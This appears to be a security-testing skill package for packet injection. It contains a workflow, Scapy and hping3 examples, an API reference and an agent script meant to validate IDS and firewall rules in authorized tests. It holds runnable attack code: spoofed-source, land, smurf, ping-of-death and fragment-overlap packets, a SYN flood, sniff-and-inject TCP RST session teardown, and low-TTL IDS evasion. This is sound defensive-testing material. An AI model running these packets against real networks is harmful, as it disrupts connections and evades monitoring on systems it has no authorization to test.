npx skills add mukul975/Anthropic-Cybersecurity-SkillsMITRE ATT&CK
When to Use
- Testing IDS/IPS rules by injecting traffic that should trigger specific detection signatures
- Validating firewall rules by crafting packets with specific flags, source addresses, and payloads
- Assessing network stack resilience to malformed packets, fragmentation attacks, and protocol violations
- Simulating spoofed traffic to test anti-spoofing controls (BCP38, uRPF)
- Performing TCP reset injection to test connection resilience and session hijacking scenarios
Do not use for denial-of-service attacks against production systems, for spoofing traffic to frame third parties, or without explicit authorization for the target network.
Prerequisites
- Written authorization specifying in-scope targets and approved packet injection techniques
- Scapy, hping3, and Nemesis installed on the testing platform
- Root/sudo privileges for raw socket access and packet crafting
- Wireshark or tcpdump on the target side to verify packet delivery
- Understanding of TCP/IP protocol internals, header fields, and flag combinations
Workflow
Step 1: Craft and Send Basic Test Packets with Scapy
#!/usr/bin/env python3
"""Basic packet injection examples using Scapy for authorized testing."""
from scapy.all import *
# TCP SYN packet (port scan simulation)
syn = IP(dst="10.10.20.10") / TCP(dport=80, flags="S", seq=1000)
response = sr1(syn, timeout=2, verbose=0)
if response and response.haslayer(TCP):
if response[TCP].flags == "SA":
print(f"[*] Port 80 is OPEN (SYN-ACK received)")
elif response[TCP].flags == "RA":
print(f"[*] Port 80 is CLOSED (RST-ACK received)")
# TCP XMAS scan packet (all flags set)
xmas = IP(dst="10.10.20.10") / TCP(dport=80, flags="FPU")
send(xmas, verbose=0)
print("[*] XMAS packet sent (should trigger IDS)")
# NULL scan packet (no flags)
null = IP(dst="10.10.20.10") / TCP(dport=80, flags="")
send(null, verbose=0)
print("[*] NULL packet sent")
# Crafted ICMP packet with custom payload
icmp_custom = IP(dst="10.10.20.10") / ICMP(type=8) / Raw(load="SECURITY_TEST_PAYLOAD")
send(icmp_custom, verbose=0)
print("[*] Custom ICMP packet sent")
# UDP packet to test firewall rules
udp_test = IP(dst="10.10.20.10") / UDP(dport=53) / DNS(rd=1, qd=DNSQR(qname="test.example.com"))
response = sr1(udp_test, timeout=2, verbose=0)
if response:
print(f"[*] DNS response received from {response[IP].src}")Step 2: IP Spoofing and Anti-Spoofing Validation
#!/usr/bin/env python3
"""Test anti-spoofing controls with spoofed source IP packets."""
from scapy.all import *
# Spoofed source IP (should be blocked by BCP38/uRPF)
spoofed_syn = IP(src="192.0.2.100", dst="10.10.20.10") / TCP(dport=80, flags="S")
send(spoofed_syn, verbose=0)
print("[*] Sent SYN with spoofed source 192.0.2.100")
# Land attack test (source = destination)
land = IP(src="10.10.20.10", dst="10.10.20.10") / TCP(sport=80, dport=80, flags="S")
send(land, verbose=0)
print("[*] Land attack packet sent (src==dst)")
# Smurf attack test (ICMP to broadcast with spoofed source)
smurf = IP(src="10.10.20.10", dst="10.10.20.255") / ICMP(type=8)
send(smurf, verbose=0)
print("[*] Smurf test packet sent (ICMP to broadcast)")
# IP fragment overlap test
frag1 = IP(dst="10.10.20.10", flags="MF", frag=0) / TCP(dport=80, flags="S") / Raw(load="A"*24)
frag2 = IP(dst="10.10.20.10", frag=2) / Raw(load="B"*24) # Overlapping fragment
send(frag1, verbose=0)
send(frag2, verbose=0)
print("[*] Overlapping IP fragments sent")Step 3: TCP Session Manipulation
# TCP RST injection to test connection resilience
# Using hping3 to send RST packets
sudo hping3 -S -p 80 --rst -c 5 10.10.20.10
# SYN flood test (limited volume for testing, not DoS)
sudo hping3 -S --flood -V -p 80 -c 100 10.10.20.10
# Note: --flood sends at maximum rate; -c 100 limits to 100 packets
# Test TCP window manipulation
sudo hping3 -S -p 80 -w 0 -c 5 10.10.20.10 # Zero window
sudo hping3 -S -p 80 -w 65535 -c 5 10.10.20.10 # Max window
# Idle scan probe (to test if a host can be used as zombie)
sudo hping3 -SA -p 80 -c 3 10.10.20.10
# Check IP ID values in response for predictability#!/usr/bin/env python3
"""TCP RST injection to test session resilience."""
from scapy.all import *
# Sniff for an active TCP connection and inject RST
def rst_inject(pkt):
if pkt.haslayer(TCP) and pkt[TCP].flags == "A":
rst = IP(
src=pkt[IP].dst,
dst=pkt[IP].src
) / TCP(
sport=pkt[TCP].dport,
dport=pkt[TCP].sport,
seq=pkt[TCP].ack,
flags="R"
)
send(rst, verbose=0)
print(f"[*] RST injected: {pkt[IP].src}:{pkt[TCP].sport} -> {pkt[IP].dst}:{pkt[TCP].dport}")
# Sniff for 10 packets and attempt RST injection
print("[*] Listening for TCP ACK packets to inject RST...")
sniff(filter="tcp and host 10.10.20.10", prn=rst_inject, count=10, iface="eth0")Step 4: Protocol Anomaly Testing
#!/usr/bin/env python3
"""Protocol anomaly packets for IDS/firewall testing."""
from scapy.all import *
target = "10.10.20.10"
# Ping of Death (oversized ICMP - should be blocked)
pod = IP(dst=target) / ICMP() / Raw(load="X" * 65500)
send(fragment(pod), verbose=0)
print("[*] Ping of Death fragments sent")
# Tiny fragment attack (TCP header split across fragments)
tiny_frag = IP(dst=target, flags="MF", frag=0) / Raw(load=bytes(TCP(dport=80, flags="S"))[:8])
tiny_frag2 = IP(dst=target, frag=1) / Raw(load=bytes(TCP(dport=80, flags="S"))[8:])
send(tiny_frag, verbose=0)
send(tiny_frag2, verbose=0)
print("[*] Tiny fragment attack packets sent")
# Invalid TCP flag combinations
invalid_flags = [
("SYN+FIN", "SF"),
("SYN+RST", "SR"),
("FIN only (no session)", "F"),
("All flags", "FSRPAUEC"),
]
for name, flags in invalid_flags:
pkt = IP(dst=target) / TCP(dport=80, flags=flags)
send(pkt, verbose=0)
print(f"[*] Sent packet with invalid flags: {name}")
# TTL-based evasion (packets that expire before reaching IDS)
# Assumes IDS is 2 hops away, target is 5 hops
ttl_evade = IP(dst=target, ttl=3) / TCP(dport=80, flags="S")
send(ttl_evade, verbose=0)
print("[*] Low-TTL evasion packet sent (TTL=3)")
# IP options padding
ip_opts = IP(dst=target, options=[IPOption_RR()]) / TCP(dport=80, flags="S")
send(ip_opts, verbose=0)
print("[*] Packet with IP Record Route option sent")Step 5: Verify IDS Detection
# Check Snort/Suricata for alerts triggered by injected packets
grep -i "xmas\|null\|land\|smurf\|ping.of.death\|fragment" /var/log/suricata/eve.json | \
python3 -m json.tool | head -50
# Expected IDS alerts:
# - XMAS scan detected (SID: 2100330)
# - NULL scan detected (SID: 2100331)
# - Land attack detected
# - Smurf attack detected
# - Fragmentation anomaly
# - Invalid TCP flags
# Verify firewall dropped spoofed packets
sudo iptables -L -n -v | grep -i drop
# Check for fragmentation reassembly errors
dmesg | grep -i "fragment\|frag"Step 6: Document Results
# Generate test results summary
cat > packet_injection_report.txt << 'EOF'
Packet Injection Test Results
=============================
Date: $(date)
Target: 10.10.20.10
Tester: Security Assessment Team
Test 1: TCP XMAS Scan
IDS Detection: YES (Suricata SID 2100330)
Firewall Action: Dropped
Test 2: IP Spoofing (192.0.2.100)
uRPF Block: YES (packet dropped at edge router)
IDS Detection: YES (source not in HOME_NET)
Test 3: Fragmentation Overlap
IDS Detection: YES (stream reassembly anomaly)
Target Response: Fragments dropped by OS
Test 4: Invalid TCP Flags
IDS Detection: YES (SYN+FIN, SYN+RST flagged)
Firewall Action: Dropped
EOFKey Concepts
| Term | Definition |
|---|---|
| Packet Injection | Crafting and sending network packets with specific header values, payloads, or flag combinations to test network security controls |
| IP Spoofing | Setting a false source IP address in crafted packets to test anti-spoofing controls (BCP38, uRPF) or impersonate another host |
| TCP RST Injection | Sending forged TCP RST packets to terminate established connections, testing session resilience and connection reset defenses |
| Fragmentation Attack | Exploiting IP fragmentation to split malicious payloads across fragments, evading packet inspection that does not reassemble fragments |
| uRPF (Unicast Reverse Path Forwarding) | Router-level anti-spoofing mechanism that drops packets if the source IP would not be routable back through the ingress interface |
| BCP38 (Network Ingress Filtering) | Best Current Practice for preventing IP spoofing at network borders by filtering packets with source addresses not belonging to the network |
Tools & Systems
- Scapy: Python packet manipulation library for crafting arbitrary network packets with full control over all protocol headers
- hping3: Command-line packet generator supporting TCP, UDP, ICMP with control over flags, TTL, window size, and packet rate
- Nemesis: Network packet injection tool supporting Ethernet, ARP, IP, TCP, UDP, ICMP, DNS, and other protocols
- tcpreplay: Tool for replaying captured PCAP files at controlled rates for testing IDS rules against known traffic patterns
- Nping: Nmap's packet generation tool for crafting probes with arbitrary TCP/UDP/ICMP headers
Common Scenarios
Scenario: Validating IDS Rules After Deployment
Context: A SOC team deployed new Suricata rules for detecting reconnaissance and evasion techniques. They need to validate that the rules trigger correctly before going live. The testing is performed in a staging environment replicating the production network.
Approach:
- Craft XMAS, NULL, and FIN scan packets using Scapy and send to test targets to verify scan detection rules
- Generate packets with invalid TCP flag combinations (SYN+FIN, SYN+RST) to test protocol anomaly rules
- Send oversized ICMP packets and fragmented payloads to test fragmentation detection rules
- Inject packets with spoofed source IPs to verify anti-spoofing rules fire correctly
- Send TCP RST injection packets during an active HTTP session to test session disruption detection
- Verify that all expected Suricata alerts appear in the EVE JSON log with correct severity and metadata
- Document which rules fired, which did not, and recommend rule tuning for any gaps
Pitfalls:
- Sending injection packets too fast and overwhelming the test network or IDS sensor
- Crafting packets with incorrect checksum calculations, causing them to be silently dropped before reaching the IDS
- Not accounting for stateful firewalls that drop out-of-state packets before they reach the IDS for inspection
- Testing from behind a NAT that modifies source ports and breaks crafted TCP sequences
Output Format
## Packet Injection Test Report
**Target**: 10.10.20.10 (test-server-01)
**IDS Sensor**: suricata-staging-01
**Test Date**: 2024-03-15
### Test Matrix
| Test | Packet Type | Expected Detection | Actual Result |
|------|-------------|-------------------|---------------|
| 1 | TCP XMAS Scan | SID 2100330 | DETECTED |
| 2 | TCP NULL Scan | SID 2100331 | DETECTED |
| 3 | SYN+FIN Invalid | SID 2100332 | DETECTED |
| 4 | IP Spoofed Source | SID 2003000 | DETECTED |
| 5 | Land Attack | SID 2100333 | NOT DETECTED |
| 6 | Fragment Overlap | SID 2200001 | DETECTED |
| 7 | Ping of Death | SID 2100334 | DETECTED |
| 8 | TCP RST Injection | Custom SID | NOT DETECTED |
### Detection Rate: 6/8 (75%)
### Gaps Identified
1. Land attack (src==dst) not detected -- add rule SID 2100333
2. TCP RST injection not detected -- create custom rule for out-of-window RSTReferences and resources
Everything below is rendered for inspection. Script files are read-only and never run.
References 1
api-reference.md1.6 KB
API Reference: Packet Injection Attack
Scapy Python API
from scapy.all import IP, TCP, UDP, ICMP, Raw, sr1, send
# Craft and send TCP SYN
pkt = IP(dst="10.10.20.10") / TCP(dport=80, flags="S")
resp = sr1(pkt, timeout=2, verbose=0)
# Send without waiting for response
send(pkt, verbose=0)
# Fragment a packet
from scapy.all import fragment
frags = fragment(IP(dst="10.10.20.10") / ICMP() / Raw(load="X"*65500))
send(frags, verbose=0)Scapy Packet Layers
| Layer | Fields | Example |
|---|---|---|
IP |
src, dst, ttl, flags, frag | IP(dst="10.0.0.1", ttl=64) |
TCP |
sport, dport, flags, seq, ack | TCP(dport=80, flags="S") |
UDP |
sport, dport | UDP(dport=53) |
ICMP |
type, code | ICMP(type=8) |
DNS |
qd, rd | DNS(rd=1, qd=DNSQR(qname="test.com")) |
TCP Flag Values
| Flag | Value | Description |
|---|---|---|
| S | SYN | Connection initiation |
| A | ACK | Acknowledgment |
| F | FIN | Connection termination |
| R | RST | Connection reset |
| P | PSH | Push data |
| U | URG | Urgent pointer |
hping3 CLI
| Command | Description |
|---|---|
hping3 -S -p 80 <target> |
Send SYN packets |
hping3 -S --flood -c 100 <target> |
Limited SYN flood test |
hping3 -S -p 80 -w 0 <target> |
Zero window test |
Python Libraries
| Library | Version | Purpose |
|---|---|---|
scapy |
>=2.5 | Packet crafting, sending, and receiving |
References
- Scapy documentation: https://scapy.readthedocs.io/
- hping3: http://www.hping.org/
- Nping (Nmap): https://nmap.org/nping/
- tcpreplay: https://tcpreplay.appneta.com/
Scripts 1
agent.py6.8 KB
#!/usr/bin/env python3
"""Agent for performing packet injection testing.
Crafts and sends test packets using Scapy for authorized security
assessments to validate IDS rules, firewall configurations, and
anti-spoofing controls.
"""
from scapy.all import (
IP, TCP, UDP, ICMP, DNS, DNSQR, Raw,
sr1, send, fragment, conf,
)
import json
import sys
from datetime import datetime
class PacketInjectionAgent:
"""Performs authorized packet injection tests using Scapy."""
def __init__(self, target_ip, interface=None):
self.target_ip = target_ip
if interface:
conf.iface = interface
self.results = []
def _record_result(self, test_name, technique, sent, response_info):
"""Record a test result."""
result = {
"test": test_name,
"technique": technique,
"target": self.target_ip,
"timestamp": datetime.utcnow().isoformat(),
"response": response_info,
}
self.results.append(result)
return result
def test_tcp_syn(self, port=80):
"""Send TCP SYN packet to test port state."""
pkt = IP(dst=self.target_ip) / TCP(dport=port, flags="S", seq=1000)
resp = sr1(pkt, timeout=3, verbose=0)
if resp and resp.haslayer(TCP):
flags = resp[TCP].flags
state = "open" if flags == "SA" else "closed" if flags == "RA" else str(flags)
return self._record_result("TCP SYN", "port_scan", True, {"port": port, "state": state})
return self._record_result("TCP SYN", "port_scan", True, {"port": port, "state": "filtered"})
def test_xmas_scan(self, port=80):
"""Send XMAS packet (FIN+PSH+URG flags) to test IDS detection."""
pkt = IP(dst=self.target_ip) / TCP(dport=port, flags="FPU")
send(pkt, verbose=0)
return self._record_result("XMAS Scan", "T1046", True,
{"flags": "FPU", "expected_ids": "XMAS scan detection"})
def test_null_scan(self, port=80):
"""Send NULL packet (no flags) to test IDS detection."""
pkt = IP(dst=self.target_ip) / TCP(dport=port, flags="")
send(pkt, verbose=0)
return self._record_result("NULL Scan", "T1046", True,
{"flags": "none", "expected_ids": "NULL scan detection"})
def test_invalid_flags(self, port=80):
"""Send packets with invalid TCP flag combinations."""
results = []
flag_combos = [("SYN+FIN", "SF"), ("SYN+RST", "SR"), ("ALL", "FSRPAUEC")]
for name, flags in flag_combos:
pkt = IP(dst=self.target_ip) / TCP(dport=port, flags=flags)
send(pkt, verbose=0)
results.append(self._record_result(
f"Invalid Flags: {name}", "protocol_anomaly", True,
{"flags": flags, "expected_ids": f"Invalid TCP flags: {name}"}
))
return results
def test_spoofed_source(self, spoofed_ip="192.0.2.100", port=80):
"""Send packet with spoofed source IP to test anti-spoofing."""
pkt = IP(src=spoofed_ip, dst=self.target_ip) / TCP(dport=port, flags="S")
send(pkt, verbose=0)
return self._record_result("IP Spoofing", "anti_spoofing", True,
{"spoofed_src": spoofed_ip, "expected": "Blocked by BCP38/uRPF"})
def test_land_attack(self, port=80):
"""Send LAND attack packet (src==dst) to test protection."""
pkt = IP(src=self.target_ip, dst=self.target_ip) / TCP(sport=port, dport=port, flags="S")
send(pkt, verbose=0)
return self._record_result("LAND Attack", "land_attack", True,
{"src_eq_dst": True, "expected": "Dropped by OS/firewall"})
def test_fragmentation_overlap(self, port=80):
"""Send overlapping IP fragments to test reassembly handling."""
frag1 = IP(dst=self.target_ip, flags="MF", frag=0) / TCP(dport=port, flags="S") / Raw(load="A" * 24)
frag2 = IP(dst=self.target_ip, frag=2) / Raw(load="B" * 24)
send(frag1, verbose=0)
send(frag2, verbose=0)
return self._record_result("Fragment Overlap", "fragmentation", True,
{"fragments": 2, "expected_ids": "Fragment overlap detection"})
def test_icmp_payload(self):
"""Send ICMP with custom payload to test content inspection."""
pkt = IP(dst=self.target_ip) / ICMP(type=8) / Raw(load="SECURITY_TEST_PAYLOAD")
resp = sr1(pkt, timeout=3, verbose=0)
return self._record_result("ICMP Custom Payload", "icmp_test", True,
{"response": "echo_reply" if resp else "no_response"})
def test_dns_query(self, domain="test.example.com"):
"""Send DNS query to test DNS filtering."""
pkt = IP(dst=self.target_ip) / UDP(dport=53) / DNS(rd=1, qd=DNSQR(qname=domain))
resp = sr1(pkt, timeout=3, verbose=0)
return self._record_result("DNS Query", "dns_test", True,
{"domain": domain, "response": "received" if resp else "blocked"})
def test_low_ttl_evasion(self, ttl=3, port=80):
"""Send low-TTL packet to test IDS evasion detection."""
pkt = IP(dst=self.target_ip, ttl=ttl) / TCP(dport=port, flags="S")
send(pkt, verbose=0)
return self._record_result("Low TTL Evasion", "ttl_evasion", True,
{"ttl": ttl, "expected": "Packet expires before target"})
def run_full_test_suite(self):
"""Run all packet injection tests."""
self.test_tcp_syn()
self.test_xmas_scan()
self.test_null_scan()
self.test_invalid_flags()
self.test_spoofed_source()
self.test_land_attack()
self.test_fragmentation_overlap()
self.test_icmp_payload()
self.test_low_ttl_evasion()
report = {
"target": self.target_ip,
"test_date": datetime.utcnow().isoformat(),
"total_tests": len(self.results),
"results": self.results,
}
return report
def main():
if len(sys.argv) < 2:
print("Usage: agent.py <target_ip> [interface] [test]")
print("Tests: syn, xmas, null, flags, spoof, land, frag, icmp, all")
sys.exit(1)
target_ip = sys.argv[1]
interface = sys.argv[2] if len(sys.argv) > 2 else None
test = sys.argv[3] if len(sys.argv) > 3 else "all"
agent = PacketInjectionAgent(target_ip, interface)
if test == "all":
report = agent.run_full_test_suite()
elif test == "syn":
agent.test_tcp_syn()
report = {"results": agent.results}
elif test == "xmas":
agent.test_xmas_scan()
report = {"results": agent.results}
else:
report = agent.run_full_test_suite()
print(json.dumps(report, indent=2))
if __name__ == "__main__":
main()